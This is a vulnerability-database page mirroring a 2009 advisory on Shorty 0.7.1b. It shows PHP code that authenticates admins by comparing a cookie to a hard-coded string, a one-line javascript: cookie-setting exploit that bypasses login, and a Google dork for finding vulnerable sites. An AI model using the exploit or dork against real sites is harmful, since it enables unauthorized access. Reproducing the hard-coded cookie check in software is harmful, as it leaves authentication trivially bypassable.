Lucene search
K

Shorty 0.7.1b Insecure Cookie

🗓️ 13 Aug 2009 00:00:00Reported by Pedro LagunaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Shorty v0.7.1b Cookie Security Issu

Code
`Vulnerable Software  
--------------------------------------------------------------------------------  
Script: Shorty v0.7.1 Beta (maybe other versions)  
URL:http://get-shorty.com/  
Download:http://get-shorty.com/beta?force=download  
Google dork: intitle:"Shorty (Beta)"  
  
Bug  
--------------------------------------------------------------------------------  
[functions.php]  
  
45: function authenticate(){  
46: $cookie = @$_COOKIE['snickerdoodle'];  
47: if($cookie == "polarbears"){  
48: //  
49: } else {  
50: exit("Not logged in.");  
51: }  
52: }  
53:  
54: function verify(){  
55: if(@$_COOKIE['snickerdoodle']){  
56: $cookie = $_COOKIE['snickerdoodle'];  
57: } else {  
58: $cookie = '';  
59: }  
60: if($cookie == "polarbears"){  
61: return 1;  
62: } else {  
63: return 0;  
64: }  
65: }  
  
[/functions.php]  
  
Exploit  
--------------------------------------------------------------------------------  
Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in  
the admin login you want to bypass or create the cookie with you favorite  
Firefox extension.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2009 00:00Current
7.4High risk
Vulners AI Score7.4
33